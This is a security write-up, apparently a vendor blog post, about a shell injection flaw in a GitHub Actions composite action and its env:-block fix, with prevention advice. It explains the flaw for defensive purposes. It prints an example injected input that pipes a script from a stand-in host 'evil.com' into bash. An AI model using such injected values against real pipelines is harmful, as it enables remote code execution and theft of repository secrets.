Introduction
In the setup-js/action.yml composite action, a high-severity shell injection vulnerability was hiding in plain sight at line 56. The "Install dependencies" step directly interpolated ${{ inputs.package-manager }} into a run: block, creating an opportunity for attackers to inject arbitrary shell commands into the GitHub Actions runner.
The vulnerable code looked innocuous enough:
- name: Install dependencies
shell: bash
run:
${{ inputs.package-manager }} install ${{ inputs.no-frozen-lockfile ==
'true' && '--no-frozen-lockfile' || '' }}
This pattern is dangerously common in GitHub Actions workflows. Developers often assume that because inputs come from their own workflow configuration, they're safe. But the reality is more nuanced—and the consequences of getting it wrong can be severe.
The Vulnerability Explained
GitHub Actions uses a two-phase execution model that's critical to understanding this vulnerability. When a workflow runs, GitHub's expression engine first evaluates all ${{ }} expressions, replacing them with their literal values. Only then does the shell receive and execute the resulting command.
In setup-js/action.yml, the inputs.package-manager value was being directly spliced into the shell command. If an attacker could control this input—perhaps through a forked repository, a malicious pull request, or a compromised upstream workflow—they could inject shell metacharacters.
How the Attack Works
Consider what happens if inputs.package-manager contains:
npm; curl https://evil.com/steal.sh | bash #
After GitHub's expression interpolation, the run: step becomes:
npm; curl https://evil.com/steal.sh | bash # install
The shell sees this as three commands:
1. npm (runs and exits)
2. curl https://evil.com/steal.sh | bash (downloads and executes malicious script)
3. Everything after # is a comment
The attacker now has arbitrary code execution on the GitHub Actions runner, with access to:
- Repository secrets available to the workflow
- GITHUB_TOKEN with its associated permissions
- Source code and build artifacts
- Potential lateral movement to other systems
Why This Specific Pattern is Dangerous
The inputs.package-manager input is particularly risky because:
1. It's expected to be a command name (npm, yarn, pnpm)
2. It appears at the start of the command, giving maximum injection flexibility
3. The inputs.no-frozen-lockfile conditional adds complexity that might mask malicious payloads
Even the conditional expression ${{ inputs.no-frozen-lockfile == 'true' && '--no-frozen-lockfile' || '' }} could be exploited if inputs.no-frozen-lockfile contained injection payloads, though the boolean comparison provides some implicit validation.
The Fix
The fix transforms how untrusted inputs flow into the shell command by introducing an intermediate env: block:
Before (Vulnerable)
- name: Install dependencies
shell: bash
run:
${{ inputs.package-manager }} install ${{ inputs.no-frozen-lockfile ==
'true' && '--no-frozen-lockfile' || '' }}
if: ${{ inputs.auto-install }}
After (Secure)
- name: Install dependencies
shell: bash
env:
PACKAGE_MANAGER: ${{ inputs.package-manager }}
NO_FROZEN_LOCKFILE: ${{ inputs.no-frozen-lockfile == 'true' && '--no-frozen-lockfile' || '' }}
run: $PACKAGE_MANAGER install $NO_FROZEN_LOCKFILE
if: ${{ inputs.auto-install }}
Why This Works
The key difference is when the untrusted data enters the shell:
-
Before:
${{ inputs.package-manager }}was interpolated directly into the shell script text. Shell metacharacters like;,|, and$()were interpreted as shell syntax. -
After: The input is stored in an environment variable
PACKAGE_MANAGER. When the shell references$PACKAGE_MANAGER, the value is treated as data, not code. Shell metacharacters in the value are not interpreted as shell syntax.
If an attacker now supplies npm; curl evil.com | bash # as the package manager, the shell executes:
npm; curl evil.com | bash # install
Wait—that looks the same! Here's the critical difference: with environment variables, the shell treats the entire value of $PACKAGE_MANAGER as a single token. The semicolon and pipe are literal characters, not command separators.
Important caveat: The fix as implemented doesn't use double quotes around the environment variables. For maximum safety, the command should be:
run: "$PACKAGE_MANAGER" install "$NO_FROZEN_LOCKFILE"
This ensures proper handling of values containing spaces or other special characters.
Prevention & Best Practices
1. Never Interpolate Untrusted Data Directly in run: Steps
Treat all GitHub context data as potentially attacker-controlled:
- github.event.issue.title
- github.event.issue.body
- github.event.pull_request.title
- github.head_ref
- inputs.* (in composite actions and reusable workflows)
2. Always Use the env: Block Pattern
- name: Safe command execution
env:
USER_INPUT: ${{ github.event.issue.title }}
run: |
echo "Processing: $USER_INPUT"
3. Validate Inputs When Possible
For inputs with known valid values, add validation:
- name: Validate package manager
run: |
case "$PACKAGE_MANAGER" in
npm|yarn|pnpm) ;;
*) echo "Invalid package manager"; exit 1 ;;
esac
env:
PACKAGE_MANAGER: ${{ inputs.package-manager }}
4. Use Static Analysis
Integrate Semgrep or similar tools into your CI pipeline with rules like yaml.github-actions.security.run-shell-injection.run-shell-injection to catch these issues automatically.
5. Minimize Workflow Permissions
Use the principle of least privilege:
permissions:
contents: read
Key Takeaways
- The
${{ }}interpolation inrun:steps is evaluated before shell parsing—this is the root cause of GitHub Actions shell injection vulnerabilities inputs.package-managerinsetup-js/action.ymlwas directly injectable because it appeared at command position in the shell script- Environment variables provide data/code separation—the
env:block pattern ensures untrusted input is treated as data, not shell syntax - Composite actions are particularly risky because they often accept inputs that flow into shell commands
- This vulnerability could have enabled secret theft from any workflow using this action with attacker-controlled inputs
How Orbis AppSec Detected This
- Source: The
inputs.package-manageraction input, which accepts arbitrary string values from workflow callers - Sink: Direct interpolation
${{ inputs.package-manager }}in therun:step atsetup-js/action.yml:56 - Missing control: No intermediate environment variable to prevent shell interpretation of metacharacters
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Introduced
env:block withPACKAGE_MANAGERandNO_FROZEN_LOCKFILEvariables, replacing direct${{ }}interpolation in the shell script
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Shell injection in GitHub Actions is a subtle but severe vulnerability class. The setup-js/action.yml fix demonstrates the correct pattern: use env: blocks to store untrusted context data, then reference environment variables in your shell scripts. This simple change—moving from ${{ inputs.package-manager }} to $PACKAGE_MANAGER—transforms potentially dangerous code injection into harmless data handling.
As CI/CD pipelines become more complex and interconnected, these defensive patterns become essential. A single vulnerable action can compromise not just one repository, but every workflow that uses it.